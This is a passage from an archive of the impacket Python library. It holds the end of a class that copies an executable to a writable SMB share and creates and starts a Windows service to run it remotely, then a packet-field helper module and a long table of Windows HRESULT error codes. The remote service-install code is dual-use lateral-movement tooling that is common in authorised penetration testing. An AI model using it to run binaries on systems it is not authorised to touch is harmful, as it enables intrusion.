LOG.info('Found writable share %s' % share)
self.connection.deleteDirectory(share,'BETO')
return str(share)
return None
def install(self):
if self.connection.isGuestSession():
LOG.critical("Authenticated as Guest. Aborting")
self.connection.logoff()
del self.connection
else:
fileCopied = False
serviceCreated = False
# Do the stuff here
try:
# Let's get the shares
shares = self.getShares()
self.share = self.findWritableShare(shares)
self.copy_file(self.__exeFile ,self.share,self.__binary_service_name)
fileCopied = True
svcManager = self.openSvcManager()
if svcManager != 0:
serverName = self.connection.getServerName()
if self.share.lower() == 'admin$':
path = '%systemroot%'
else:
if serverName != '':
path = '\\\\%s\\%s' % (serverName, self.share)
else:
path = '\\\\127.0.0.1\\' + self.share
service = self.createService(svcManager, self.share, path)
serviceCreated = True
if service != 0:
# Start service
LOG.info('Starting service %s.....' % self.__service_name)
try:
scmr.hRStartServiceW(self.rpcsvc, service)
except:
pass
scmr.hRCloseServiceHandle(self.rpcsvc, service)
scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)
return True
except Exception, e:
LOG.critical("Error performing the installation, cleaning up: %s" %e)
try:
scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)
except:
pass
if fileCopied is True:
try:
self.connection.deleteFile(self.share, self.__binary_service_name)
except:
pass
if serviceCreated is True:
try:
scmr.hRDeleteService(self.rpcsvc, service)
except:
pass
return False
def uninstall(self):
fileCopied = True
serviceCreated = True
# Do the stuff here
try:
# Let's get the shares
svcManager = self.openSvcManager()
if svcManager != 0:
resp = scmr.hROpenServiceW(self.rpcsvc, svcManager, self.__service_name+'\x00')
service = resp['lpServiceHandle']
LOG.info('Stoping service %s.....' % self.__service_name)
try:
scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)
except:
pass
LOG.info('Removing service %s.....' % self.__service_name)
scmr.hRDeleteService(self.rpcsvc, service)
scmr.hRCloseServiceHandle(self.rpcsvc, service)
scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)
LOG.info('Removing file %s.....' % self.__binary_service_name)
self.connection.deleteFile(self.share, self.__binary_service_name)
except Exception:
LOG.critical("Error performing the uninstallation, cleaning up" )
try:
scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)
except:
pass
if fileCopied is True:
try:
self.connection.deleteFile(self.share, self.__binary_service_name)
except:
try:
self.connection.deleteFile(self.share, self.__binary_service_name)
except:
pass
pass
if serviceCreated is True:
try:
scmr.hRDeleteService(self.rpcsvc, service)
except:
pass
impacket-0.9.15/impacket/helper.py 0000600 0000765 0000000 00000010264 12734531507 017102 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Helper used to build ProtocolPackets
#
# Author:
# Aureliano Calvo
import struct
import functools
import impacket.ImpactPacket as ip
def rebind(f):
functools.wraps(f)
def rebinder(*args, **kwargs):
return f(*args, **kwargs)
return rebinder
class Field(object):
def __init__(self, index):
self.index = index
def __call__(self, k, d):
getter = rebind(self.getter)
getter_name = "get_" + k
getter.__name__ = getter_name
getter.__doc__ = "Get the %s field" % k
d[getter_name] = getter
setter = rebind(self.setter)
setter_name = "set_" + k
setter.__name__ = setter_name
setter.__doc__ = "Set the %s field" % k
d["set_" + k] = setter
d[k] = property(getter, setter, doc="%s property" % k)
class Bit(Field):
def __init__(self, index, bit_number):
Field.__init__(self, index)
self.mask = 2 ** bit_number
self.off_mask = (~self.mask) & 0xff
def getter(self, o):
return (o.header.get_byte(self.index) & self.mask) != 0
def setter(self, o, value=True):
b = o.header.get_byte(self.index)
if value:
b |= self.mask
else:
b &= self.off_mask
o.header.set_byte(self.index, b)
class Byte(Field):
def __init__(self, index):
Field.__init__(self, index)
def getter(self, o):
return o.header.get_byte(self.index)
def setter(self, o, value):
o.header.set_byte(self.index, value)
class Word(Field):
def __init__(self, index, order="!"):
Field.__init__(self, index)
self.order = order
def getter(self, o):
return o.header.get_word(self.index, self.order)
def setter(self, o, value):
o.header.set_word(self.index, value, self.order)
class Long(Field):
def __init__(self, index, order="!"):
Field.__init__(self, index)
self.order = order
def getter(self, o):
return o.header.get_long(self.index, self.order)
def setter(self, o, value):
o.header.set_long(self.index, value, self.order)
class ThreeBytesBigEndian(Field):
def __init__(self, index):
Field.__init__(self, index)
def getter(self, o):
b=o.header.get_bytes()[self.index:self.index+3].tostring()
#unpack requires a string argument of length 4 and b is 3 bytes long
(value,)=struct.unpack('!L', '\x00'+b)
return value
def setter(self, o, value):
# clear the bits
mask = ((~0xFFFFFF00) & 0xFF)
masked = o.header.get_long(self.index, ">") & mask
# set the bits
nb = masked | ((value & 0x00FFFFFF) << 8)
o.header.set_long(self.index, nb, ">")
class ProtocolPacketMetaklass(type):
def __new__(cls, name, bases, d):
d["_fields"] = []
items = d.items()
if not object in bases:
bases += (object,)
for k,v in items:
if isinstance(v, Field):
d["_fields"].append(k)
v(k, d)
d["_fields"].sort()
def _fields_repr(self):
return " ".join( "%s:%s" % (f, repr(getattr(self, f))) for f in self._fields )
def __repr__(self):
return "<%(name)s %(fields)s \nchild:%(r_child)s>" % {
"name": name,
"fields": self._fields_repr(),
"r_child": repr(self.child()),
}
d["_fields_repr"] = _fields_repr
d["__repr__"] = __repr__
return type.__new__(cls, name, bases, d)
class ProtocolPacket(ip.ProtocolPacket):
__metaclass__ = ProtocolPacketMetaklass
def __init__(self, buff = None):
ip.ProtocolPacket.__init__(self, self.header_size, self.tail_size)
if buff:
self.load_packet(buff)
impacket-0.9.15/impacket/hresult_errors.py 0000600 0000765 0000000 00002176166 12734531507 020725 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (beto@coresecurity.com)
#
# Description:
# HRESULT Errors from [MS-ERREF]. Ideally all the files
# should grab the error codes from here (big ToDo)
#
ERROR_MESSAGES = {
0x00030200: ("STG_S_CONVERTED", "The underlying file was converted to compound file format."),
0x00030201: ("STG_S_BLOCK", "The storage operation should block until more data is available."),
0x00030202: ("STG_S_RETRYNOW", "The storage operation should retry immediately."),
0x00030203: ("STG_S_MONITORING", "The notified event sink will not influence the storage operation."),
0x00030204: ("STG_S_MULTIPLEOPENS", "Multiple opens prevent consolidated (commit succeeded)."),
0x00030205: ("STG_S_CONSOLIDATIONFAILED", "Consolidation of the storage file failed (commit succeeded)."),
0x00030206: ("STG_S_CANNOTCONSOLIDATE", "Consolidation of the storage file is inappropriate (commit succeeded)."),
0x00040000: ("OLE_S_USEREG", "Use the registry database to provide the requested information."),
0x00040001: ("OLE_S_STATIC", "Success, but static."),
0x00040002: ("OLE_S_MAC_CLIPFORMAT", "Macintosh clipboard format."),
0x00040100: ("DRAGDROP_S_DROP", "Successful drop took place."),
0x00040101: ("DRAGDROP_S_CANCEL", "Drag-drop operation canceled."),
0x00040102: ("DRAGDROP_S_USEDEFAULTCURSORS", "Use the default cursor."),
0x00040130: ("DATA_S_SAMEFORMATETC", "Data has same FORMATETC."),
0x00040140: ("VIEW_S_ALREADY_FROZEN", "View is already frozen."),
0x00040170: ("CACHE_S_FORMATETC_NOTSUPPORTED", "FORMATETC not supported."),
0x00040171: ("CACHE_S_SAMECACHE", "Same cache."),
0x00040172: ("CACHE_S_SOMECACHES_NOTUPDATED", "Some caches are not updated."),
0x00040180: ("OLEOBJ_S_INVALIDVERB", "Invalid verb for OLE object."),
0x00040181: ("OLEOBJ_S_CANNOT_DOVERB_NOW", "Verb number is valid but verb cannot be done now."),
0x00040182: ("OLEOBJ_S_INVALIDHWND", "Invalid window handle passed."),
0x000401A0: ("INPLACE_S_TRUNCATED", "Message is too long; some of it had to be truncated before displaying."),
0x000401C0: ("CONVERT10_S_NO_PRESENTATION", "Unable to convert OLESTREAM to IStorage."),
0x000401E2: ("MK_S_REDUCED_TO_SELF", "Moniker reduced to itself."),
0x000401E4: ("MK_S_ME", "Common prefix is this moniker."),
0x000401E5: ("MK_S_HIM", "Common prefix is input moniker."),
0x000401E6: ("MK_S_US", "Common prefix is both monikers."),
0x000401E7: ("MK_S_MONIKERALREADYREGISTERED", "Moniker is already registered in running object table."),
0x00040200: ("EVENT_S_SOME_SUBSCRIBERS_FAILED", "An event was able to invoke some, but not all, of the subscribers."),
0x00040202: ("EVENT_S_NOSUBSCRIBERS", "An event was delivered, but there were no subscribers."),
0x00041300: ("SCHED_S_TASK_READY", "The task is ready to run at its next scheduled time."),
0x00041301: ("SCHED_S_TASK_RUNNING", "The task is currently running."),
0x00041302: ("SCHED_S_TASK_DISABLED", "The task will not run at the scheduled times because it has been disabled."),
0x00041303: ("SCHED_S_TASK_HAS_NOT_RUN", "The task has not yet run."),
0x00041304: ("SCHED_S_TASK_NO_MORE_RUNS", "There are no more runs scheduled for this task."),
0x00041305: ("SCHED_S_TASK_NOT_SCHEDULED", "One or more of the properties that are needed to run this task on a schedule have not been set."),
0x00041306: ("SCHED_S_TASK_TERMINATED", "The last run of the task was terminated by the user."),
0x00041307: ("SCHED_S_TASK_NO_VALID_TRIGGERS", "Either the task has no triggers, or the existing triggers are disabled or not set."),
0x00041308: ("SCHED_S_EVENT_TRIGGER", "Event triggers do not have set run times."),
0x0004131B: ("SCHED_S_SOME_TRIGGERS_FAILED", "The task is registered, but not all specified triggers will start the task."),
0x0004131C: ("SCHED_S_BATCH_LOGON_PROBLEM", "The task is registered, but it may fail to start. Batch logon privilege needs to be enabled for the task principal."),
0x0004D000: ("XACT_S_ASYNC", "An asynchronous operation was specified. The operation has begun, but its outcome is not known yet."),
0x0004D002: ("XACT_S_READONLY", "The method call succeeded because the transaction was read-only."),
0x0004D003: ("XACT_S_SOMENORETAIN", "The transaction was successfully aborted. However, this is a coordinated transaction, and a number of enlisted resources were aborted outright because they could not support abort-retaining semantics."),
0x0004D004: ("XACT_S_OKINFORM", "No changes were made during this call, but the sink wants another chance to look if any other sinks make further changes."),
0x0004D005: ("XACT_S_MADECHANGESCONTENT", "The sink is content and wants the transaction to proceed. Changes were made to one or more resources during this call."),
0x0004D006: ("XACT_S_MADECHANGESINFORM", "The sink is for the moment and wants the transaction to proceed, but if other changes are made following this return by other event sinks, this sink wants another chance to look."),
0x0004D007: ("XACT_S_ALLNORETAIN", "The transaction was successfully aborted. However, the abort was nonretaining."),
0x0004D008: ("XACT_S_ABORTING", "An abort operation was already in progress."),
0x0004D009: ("XACT_S_SINGLEPHASE", "The resource manager has performed a single-phase commit of the transaction."),
0x0004D00A: ("XACT_S_LOCALLY_OK", "The local transaction has not aborted."),
0x0004D010: ("XACT_S_LASTRESOURCEMANAGER", "The resource manager has requested to be the coordinator (last resource manager) for the transaction."),
0x00080012: ("CO_S_NOTALLINTERFACES", "Not all the requested interfaces were available."),
0x00080013: ("CO_S_MACHINENAMENOTFOUND", "The specified machine name was not found in the cache."),
0x00090312: ("SEC_I_CONTINUE_NEEDED", "The function completed successfully, but it must be called again to complete the context."),
0x00090313: ("SEC_I_COMPLETE_NEEDED", "The function completed successfully, but CompleteToken must be called."),
0x00090314: ("SEC_I_COMPLETE_AND_CONTINUE", "The function completed successfully, but both CompleteToken and this function must be called to complete the context."),
0x00090315: ("SEC_I_LOCAL_LOGON", "The logon was completed, but no network authority was available. The logon was made using locally known information."),
0x00090317: ("SEC_I_CONTEXT_EXPIRED", "The context has expired and can no longer be used."),
0x00090320: ("SEC_I_INCOMPLETE_CREDENTIALS", "The credentials supplied were not complete and could not be verified. Additional information can be returned from the context."),
0x00090321: ("SEC_I_RENEGOTIATE", "The context data must be renegotiated with the peer."),
0x00090323: ("SEC_I_NO_LSA_CONTEXT", "There is no LSA mode context associated with this context."),
0x0009035C: ("SEC_I_SIGNATURE_NEEDED", "A signature operation must be performed before the user can authenticate."),
0x00091012: ("CRYPT_I_NEW_PROTECTION_REQUIRED", "The protected data needs to be reprotected."),
0x000D0000: ("NS_S_CALLPENDING", "The requested operation is pending completion."),
0x000D0001: ("NS_S_CALLABORTED", "The requested operation was aborted by the client."),
0x000D0002: ("NS_S_STREAM_TRUNCATED", "The stream was purposefully stopped before completion."),
0x000D0BC8: ("NS_S_REBUFFERING", "The requested operation has caused the source to rebuffer."),
0x000D0BC9: ("NS_S_DEGRADING_QUALITY", "The requested operation has caused the source to degrade codec quality."),
0x000D0BDB: ("NS_S_TRANSCRYPTOR_EOF", "The transcryptor object has reached end of file."),
0x000D0FE8: ("NS_S_WMP_UI_VERSIONMISMATCH", "An upgrade may be needed for the theme manager to correctly show this skin. Skin reports version: %.1f."),
0x000D0FE9: ("NS_S_WMP_EXCEPTION", "An error occurred in one of the UI components."),
0x000D1040: ("NS_S_WMP_LOADED_GIF_IMAGE", "Successfully loaded a GIF file."),
0x000D1041: ("NS_S_WMP_LOADED_PNG_IMAGE", "Successfully loaded a PNG file."),
0x000D1042: ("NS_S_WMP_LOADED_BMP_IMAGE", "Successfully loaded a BMP file."),
0x000D1043: ("NS_S_WMP_LOADED_JPG_IMAGE", "Successfully loaded a JPG file."),
0x000D104F: ("NS_S_WMG_FORCE_DROP_FRAME", "Drop this frame."),
0x000D105F: ("NS_S_WMR_ALREADYRENDERED", "The specified stream has already been rendered."),
0x000D1060: ("NS_S_WMR_PINTYPEPARTIALMATCH", "The specified type partially matches this pin type."),
0x000D1061: ("NS_S_WMR_PINTYPEFULLMATCH", "The specified type fully matches this pin type."),
0x000D1066: ("NS_S_WMG_ADVISE_DROP_FRAME", "The timestamp is late compared to the current render position. Advise dropping this frame."),
0x000D1067: ("NS_S_WMG_ADVISE_DROP_TO_KEYFRAME", "The timestamp is severely late compared to the current render position. Advise dropping everything up to the next key frame."),
0x000D10DB: ("NS_S_NEED_TO_BUY_BURN_RIGHTS", "No burn rights. You will be prompted to buy burn rights when you try to burn this file to an audio CD."),
0x000D10FE: ("NS_S_WMPCORE_PLAYLISTCLEARABORT", "Failed to clear playlist because it was aborted by user."),
0x000D10FF: ("NS_S_WMPCORE_PLAYLISTREMOVEITEMABORT", "Failed to remove item in the playlist since it was aborted by user."),
0x000D1102: ("NS_S_WMPCORE_PLAYLIST_CREATION_PENDING", "Playlist is being generated asynchronously."),
0x000D1103: ("NS_S_WMPCORE_MEDIA_VALIDATION_PENDING", "Validation of the media is pending."),
0x000D1104: ("NS_S_WMPCORE_PLAYLIST_REPEAT_SECONDARY_SEGMENTS_IGNORED", "Encountered more than one Repeat block during ASX processing."),
0x000D1105: ("NS_S_WMPCORE_COMMAND_NOT_AVAILABLE", "Current state of WMP disallows calling this method or property."),
0x000D1106: ("NS_S_WMPCORE_PLAYLIST_NAME_AUTO_GENERATED", "Name for the playlist has been auto generated."),
0x000D1107: ("NS_S_WMPCORE_PLAYLIST_IMPORT_MISSING_ITEMS", "The imported playlist does not contain all items from the original."),
0x000D1108: ("NS_S_WMPCORE_PLAYLIST_COLLAPSED_TO_SINGLE_MEDIA", "The M3U playlist has been ignored because it only contains one item."),
0x000D1109: ("NS_S_WMPCORE_MEDIA_CHILD_PLAYLIST_OPEN_PENDING", "The open for the child playlist associated with this media is pending."),
0x000D110A: ("NS_S_WMPCORE_MORE_NODES_AVAIABLE", "More nodes support the interface requested, but the array for returning them is full."),
0x000D1135: ("NS_S_WMPBR_SUCCESS", "Backup or Restore successful!."),
0x000D1136: ("NS_S_WMPBR_PARTIALSUCCESS", "Transfer complete with limitations."),
0x000D1144: ("NS_S_WMPEFFECT_TRANSPARENT", "Request to the effects control to change transparency status to transparent."),
0x000D1145: ("NS_S_WMPEFFECT_OPAQUE", "Request to the effects control to change transparency status to opaque."),
0x000D114E: ("NS_S_OPERATION_PENDING", "The requested application pane is performing an operation and will not be released."),
0x000D1359: ("NS_S_TRACK_BUY_REQUIRES_ALBUM_PURCHASE", "The file is only available for purchase when you buy the entire album."),
0x000D135E: ("NS_S_NAVIGATION_COMPLETE_WITH_ERRORS", "There were problems completing the requested navigation. There are identifiers missing in the catalog."),
0x000D1361: ("NS_S_TRACK_ALREADY_DOWNLOADED", "Track already downloaded."),
0x000D1519: ("NS_S_PUBLISHING_POINT_STARTED_WITH_FAILED_SINKS", "The publishing point successfully started, but one or more of the requested data writer plug-ins failed."),
0x000D2726: ("NS_S_DRM_LICENSE_ACQUIRED", "Status message: The license was acquired."),
0x000D2727: ("NS_S_DRM_INDIVIDUALIZED", "Status message: The security upgrade has been completed."),
0x000D2746: ("NS_S_DRM_MONITOR_CANCELLED", "Status message: License monitoring has been canceled."),
0x000D2747: ("NS_S_DRM_ACQUIRE_CANCELLED", "Status message: License acquisition has been canceled."),
0x000D276E: ("NS_S_DRM_BURNABLE_TRACK", "The track is burnable and had no playlist burn limit."),
0x000D276F: ("NS_S_DRM_BURNABLE_TRACK_WITH_PLAYLIST_RESTRICTION", "The track is burnable but has a playlist burn limit."),
0x000D27DE: ("NS_S_DRM_NEEDS_INDIVIDUALIZATION", "A security upgrade is required to perform the operation on this media file."),
0x000D2AF8: ("NS_S_REBOOT_RECOMMENDED", "Installation was successful; however, some file cleanup is not complete. For best results, restart your computer."),
0x000D2AF9: ("NS_S_REBOOT_REQUIRED", "Installation was successful; however, some file cleanup is not complete. To continue, you must restart your computer."),
0x000D2F09: ("NS_S_EOSRECEDING", "EOS hit during rewinding."),
0x000D2F0D: ("NS_S_CHANGENOTICE", "Internal."),
0x001F0001: ("ERROR_FLT_IO_COMPLETE", "The IO was completed by a filter."),
0x00262307: ("ERROR_GRAPHICS_MODE_NOT_PINNED", "No mode is pinned on the specified VidPN source or target."),
0x0026231E: ("ERROR_GRAPHICS_NO_PREFERRED_MODE", "Specified mode set does not specify preference for one of its modes."),
0x0026234B: ("ERROR_GRAPHICS_DATASET_IS_EMPTY", "Specified data set (for example, mode set, frequency range set, descriptor set, and topology) is empty."),
0x0026234C: ("ERROR_GRAPHICS_NO_MORE_ELEMENTS_IN_DATASET", "Specified data set (for example, mode set, frequency range set, descriptor set, and topology) does not contain any more elements."),
0x00262351: ("ERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_PINNED", "Specified content transformation is not pinned on the specified VidPN present path."),
0x00300100: ("PLA_S_PROPERTY_IGNORED", "Property value will be ignored."),
0x00340001: ("ERROR_NDIS_INDICATION_REQUIRED", "The request will be completed later by a Network Driver Interface Specification (NDIS) status indication."),
0x0DEAD100: ("TRK_S_OUT_OF_SYNC", "The VolumeSequenceNumber of a MOVE_NOTIFICATION request is incorrect."),
0x0DEAD102: ("TRK_VOLUME_NOT_FOUND", "The VolumeID in a request was not found in the server's ServerVolumeTable."),
0x0DEAD103: ("TRK_VOLUME_NOT_OWNED", "A notification was sent to the LnkSvrMessage method, but the RequestMachine for the request was not the VolumeOwner for a VolumeID in the request."),
0x0DEAD107: ("TRK_S_NOTIFICATION_QUOTA_EXCEEDED", "The server received a MOVE_NOTIFICATION request, but the FileTable size limit has already been reached."),
0x400D004F: ("NS_I_TIGER_START", "The Title Server %1 is running."),
0x400D0051: ("NS_I_CUB_START", "Content Server %1 (%2) is starting."),
0x400D0052: ("NS_I_CUB_RUNNING", "Content Server %1 (%2) is running."),
0x400D0054: ("NS_I_DISK_START", "Disk %1 ( %2 ) on Content Server %3, is running."),
0x400D0056: ("NS_I_DISK_REBUILD_STARTED", "Started rebuilding disk %1 ( %2 ) on Content Server %3."),
0x400D0057: ("NS_I_DISK_REBUILD_FINISHED", "Finished rebuilding disk %1 ( %2 ) on Content Server %3."),
0x400D0058: ("NS_I_DISK_REBUILD_ABORTED", "Aborted rebuilding disk %1 ( %2 ) on Content Server %3."),
0x400D0059: ("NS_I_LIMIT_FUNNELS", "A NetShow administrator at network location %1 set the data stream limit to %2 streams."),
0x400D005A: ("NS_I_START_DISK", "A NetShow administrator at network location %1 started disk %2."),
0x400D005B: ("NS_I_STOP_DISK", "A NetShow administrator at network location %1 stopped disk %2."),
0x400D005C: ("NS_I_STOP_CUB", "A NetShow administrator at network location %1 stopped Content Server %2."),
0x400D005D: ("NS_I_KILL_USERSESSION", "A NetShow administrator at network location %1 aborted user session %2 from the system."),
0x400D005E: ("NS_I_KILL_CONNECTION", "A NetShow administrator at network location %1 aborted obsolete connection %2 from the system."),
0x400D005F: ("NS_I_REBUILD_DISK", "A NetShow administrator at network location %1 started rebuilding disk %2."),
0x400D0069: ("MCMADM_I_NO_EVENTS", "Event initialization failed, there will be no MCM events."),
0x400D006E: ("NS_I_LOGGING_FAILED", "The logging operation failed."),
0x400D0070: ("NS_I_LIMIT_BANDWIDTH", "A NetShow administrator at network location %1 set the maximum bandwidth limit to %2 bps."),
0x400D0191: ("NS_I_CUB_UNFAIL_LINK", "Content Server %1 (%2) has established its link to Content Server %3."),
0x400D0193: ("NS_I_RESTRIPE_START", "Restripe operation has started."),
0x400D0194: ("NS_I_RESTRIPE_DONE", "Restripe operation has completed."),
0x400D0196: ("NS_I_RESTRIPE_DISK_OUT", "Content disk %1 (%2) on Content Server %3 has been restriped out."),
0x400D0197: ("NS_I_RESTRIPE_CUB_OUT", "Content server %1 (%2) has been restriped out."),
0x400D0198: ("NS_I_DISK_STOP", "Disk %1 ( %2 ) on Content Server %3, has been offlined."),
0x400D14BE: ("NS_I_PLAYLIST_CHANGE_RECEDING", "The playlist change occurred while receding."),
0x400D2EFF: ("NS_I_RECONNECTED", "The client is reconnected."),
0x400D2F01: ("NS_I_NOLOG_STOP", "Forcing a switch to a pending header on start."),
0x400D2F03: ("NS_I_EXISTING_PACKETIZER", "There is already an existing packetizer plugin for the stream."),
0x400D2F04: ("NS_I_MANUAL_PROXY", "The proxy setting is manual."),
0x40262009: ("ERROR_GRAPHICS_DRIVER_MISMATCH", "The kernel driver detected a version mismatch between it and the user mode driver."),
0x4026242F: ("ERROR_GRAPHICS_UNKNOWN_CHILD_STATUS", "Child device presence was not reliably detected."),
0x40262437: ("ERROR_GRAPHICS_LEADLINK_START_DEFERRED", "Starting the lead-link adapter has been deferred temporarily."),
0x40262439: ("ERROR_GRAPHICS_POLLING_TOO_FREQUENTLY", "The display adapter is being polled for children too frequently at the same polling level."),
0x4026243A: ("ERROR_GRAPHICS_START_DEFERRED", "Starting the adapter has been deferred temporarily."),
0x8000000A: ("E_PENDING", "The data necessary to complete this operation is not yet available."),
0x80004001: ("E_NOTIMPL", "Not implemented."),
0x80004002: ("E_NOINTERFACE", "No such interface supported."),
0x80004003: ("E_POINTER", "Invalid pointer."),
0x80004004: ("E_ABORT", "Operation aborted."),
0x80004005: ("E_FAIL", "Unspecified error."),
0x80004006: ("CO_E_INIT_TLS", "Thread local storage failure."),
0x80004007: ("CO_E_INIT_SHARED_ALLOCATOR", "Get shared memory allocator failure."),
0x80004008: ("CO_E_INIT_MEMORY_ALLOCATOR", "Get memory allocator failure."),
0x80004009: ("CO_E_INIT_CLASS_CACHE", "Unable to initialize class cache."),
0x8000400A: ("CO_E_INIT_RPC_CHANNEL", "Unable to initialize remote procedure call (RPC) services."),
0x8000400B: ("CO_E_INIT_TLS_SET_CHANNEL_CONTROL", "Cannot set thread local storage channel control."),
0x8000400C: ("CO_E_INIT_TLS_CHANNEL_CONTROL", "Could not allocate thread local storage channel control."),
0x8000400D: ("CO_E_INIT_UNACCEPTED_USER_ALLOCATOR", "The user-supplied memory allocator is unacceptable."),
0x8000400E: ("CO_E_INIT_SCM_MUTEX_EXISTS", "The OLE service mutex already exists."),
0x8000400F: ("CO_E_INIT_SCM_FILE_MAPPING_EXISTS", "The OLE service file mapping already exists."),
0x80004010: ("CO_E_INIT_SCM_MAP_VIEW_OF_FILE", "Unable to map view of file for OLE service."),
0x80004011: ("CO_E_INIT_SCM_EXEC_FAILURE", "Failure attempting to launch OLE service."),
0x80004012: ("CO_E_INIT_ONLY_SINGLE_THREADED", "There was an attempt to call CoInitialize a second time while single-threaded."),
0x80004013: ("CO_E_CANT_REMOTE", "A Remote activation was necessary but was not allowed."),
0x80004014: ("CO_E_BAD_SERVER_NAME", "A Remote activation was necessary, but the server name provided was invalid."),
0x80004015: ("CO_E_WRONG_SERVER_IDENTITY", "The class is configured to run as a security ID different from the caller."),
0x80004016: ("CO_E_OLE1DDE_DISABLED", "Use of OLE1 services requiring Dynamic Data Exchange (DDE) Windows is disabled."),
0x80004017: ("CO_E_RUNAS_SYNTAX", "A RunAs specification must be \ or simply ."),
0x80004018: ("CO_E_CREATEPROCESS_FAILURE", "The server process could not be started. The path name may be incorrect."),
0x80004019: ("CO_E_RUNAS_CREATEPROCESS_FAILURE", "The server process could not be started as the configured identity. The path name may be incorrect or unavailable."),
0x8000401A: ("CO_E_RUNAS_LOGON_FAILURE", "The server process could not be started because the configured identity is incorrect. Check the user name and password."),
0x8000401B: ("CO_E_LAUNCH_PERMSSION_DENIED", "The client is not allowed to launch this server."),
0x8000401C: ("CO_E_START_SERVICE_FAILURE", "The service providing this server could not be started."),
0x8000401D: ("CO_E_REMOTE_COMMUNICATION_FAILURE", "This computer was unable to communicate with the computer providing the server."),
0x8000401E: ("CO_E_SERVER_START_TIMEOUT", "The server did not respond after being launched."),
0x8000401F: ("CO_E_CLSREG_INCONSISTENT", "The registration information for this server is inconsistent or incomplete."),
0x80004020: ("CO_E_IIDREG_INCONSISTENT", "The registration information for this interface is inconsistent or incomplete."),
0x80004021: ("CO_E_NOT_SUPPORTED", "The operation attempted is not supported."),
0x80004022: ("CO_E_RELOAD_DLL", "A DLL must be loaded."),
0x80004023: ("CO_E_MSI_ERROR", "A Microsoft Software Installer error was encountered."),
0x80004024: ("CO_E_ATTEMPT_TO_CREATE_OUTSIDE_CLIENT_CONTEXT", "The specified activation could not occur in the client context as specified."),
0x80004025: ("CO_E_SERVER_PAUSED", "Activations on the server are paused."),
0x80004026: ("CO_E_SERVER_NOT_PAUSED", "Activations on the server are not paused."),
0x80004027: ("CO_E_CLASS_DISABLED", "The component or application containing the component has been disabled."),
0x80004028: ("CO_E_CLRNOTAVAILABLE", "The common language runtime is not available."),
0x80004029: ("CO_E_ASYNC_WORK_REJECTED", "The thread-pool rejected the submitted asynchronous work."),
0x8000402A: ("CO_E_SERVER_INIT_TIMEOUT", "The server started, but it did not finish initializing in a timely fashion."),
0x8000402B: ("CO_E_NO_SECCTX_IN_ACTIVATE", "Unable to complete the call because there is no COM+ security context inside IObjectControl.Activate."),
0x80004030: ("CO_E_TRACKER_CONFIG", "The provided tracker configuration is invalid."),
0x80004031: ("CO_E_THREADPOOL_CONFIG", "The provided thread pool configuration is invalid."),
0x80004032: ("CO_E_SXS_CONFIG", "The provided side-by-side configuration is invalid."),
0x80004033: ("CO_E_MALFORMED_SPN", "The server principal name (SPN) obtained during security negotiation is malformed."),
0x8000FFFF: ("E_UNEXPECTED", "Catastrophic failure."),
0x80010001: ("RPC_E_CALL_REJECTED", "Call was rejected by callee."),
0x80010002: ("RPC_E_CALL_CANCELED", "Call was canceled by the message filter."),
0x80010003: ("RPC_E_CANTPOST_INSENDCALL", "The caller is dispatching an intertask SendMessage call and cannot call out via PostMessage."),
0x80010004: ("RPC_E_CANTCALLOUT_INASYNCCALL", "The caller is dispatching an asynchronous call and cannot make an outgoing call on behalf of this call."),
0x80010005: ("RPC_E_CANTCALLOUT_INEXTERNALCALL", "It is illegal to call out while inside message filter."),
0x80010006: ("RPC_E_CONNECTION_TERMINATED", "The connection terminated or is in a bogus state and can no longer be used. Other connections are still valid."),
0x80010007: ("RPC_E_SERVER_DIED", "The callee (the server, not the server application) is not available and disappeared; all connections are invalid. The call may have executed."),
0x80010008: ("RPC_E_CLIENT_DIED", "The caller (client) disappeared while the callee (server) was processing a call."),
0x80010009: ("RPC_E_INVALID_DATAPACKET", "The data packet with the marshaled parameter data is incorrect."),
0x8001000A: ("RPC_E_CANTTRANSMIT_CALL", "The call was not transmitted properly; the message queue was full and was not emptied after yielding."),
0x8001000B: ("RPC_E_CLIENT_CANTMARSHAL_DATA", "The client RPC caller cannot marshal the parameter data due to errors (such as low memory)."),
0x8001000C: ("RPC_E_CLIENT_CANTUNMARSHAL_DATA", "The client RPC caller cannot unmarshal the return data due to errors (such as low memory)."),
0x8001000D: ("RPC_E_SERVER_CANTMARSHAL_DATA", "The server RPC callee cannot marshal the return data due to errors (such as low memory)."),
0x8001000E: ("RPC_E_SERVER_CANTUNMARSHAL_DATA", "The server RPC callee cannot unmarshal the parameter data due to errors (such as low memory)."),
0x8001000F: ("RPC_E_INVALID_DATA", "Received data is invalid. The data may be server or client data."),
0x80010010: ("RPC_E_INVALID_PARAMETER", "A particular parameter is invalid and cannot be (un)marshaled."),
0x80010011: ("RPC_E_CANTCALLOUT_AGAIN", "There is no second outgoing call on same channel in DDE conversation."),
0x80010012: ("RPC_E_SERVER_DIED_DNE", "The callee (the server, not the server application) is not available and disappeared; all connections are invalid. The call did not execute."),
0x80010100: ("RPC_E_SYS_CALL_FAILED", "System call failed."),
0x80010101: ("RPC_E_OUT_OF_RESOURCES", "Could not allocate some required resource (such as memory or events)"),
0x80010102: ("RPC_E_ATTEMPTED_MULTITHREAD", "Attempted to make calls on more than one thread in single-threaded mode."),
0x80010103: ("RPC_E_NOT_REGISTERED", "The requested interface is not registered on the server object."),
0x80010104: ("RPC_E_FAULT", "RPC could not call the server or could not return the results of calling the server."),
0x80010105: ("RPC_E_SERVERFAULT", "The server threw an exception."),
0x80010106: ("RPC_E_CHANGED_MODE", "Cannot change thread mode after it is set."),
0x80010107: ("RPC_E_INVALIDMETHOD", "The method called does not exist on the server."),
0x80010108: ("RPC_E_DISCONNECTED", "The object invoked has disconnected from its clients."),
0x80010109: ("RPC_E_RETRY", "The object invoked chose not to process the call now. Try again later."),
0x8001010A: ("RPC_E_SERVERCALL_RETRYLATER", "The message filter indicated that the application is busy."),
